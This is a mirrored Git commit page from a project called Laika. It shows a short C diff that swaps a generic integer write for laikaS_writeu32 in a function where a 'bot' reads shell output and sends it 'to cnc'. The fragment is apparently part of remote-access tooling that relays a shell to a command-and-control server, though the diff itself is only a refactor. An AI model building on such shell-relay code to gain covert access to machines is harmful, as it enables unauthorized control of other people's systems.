mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-08 06:20:06 +00:00
lsocket.[ch]: refactored writeInt && readInt
- switched to laikaS_readu* && laikaS_writeu* - this gets rid of the ugly malloc() for platforms that don't support VLAs
This commit is contained in:
@@ -73,7 +73,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
||||
laikaS_writeu32(sock, shell->_shell.id);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
|
||||
Reference in New Issue
Block a user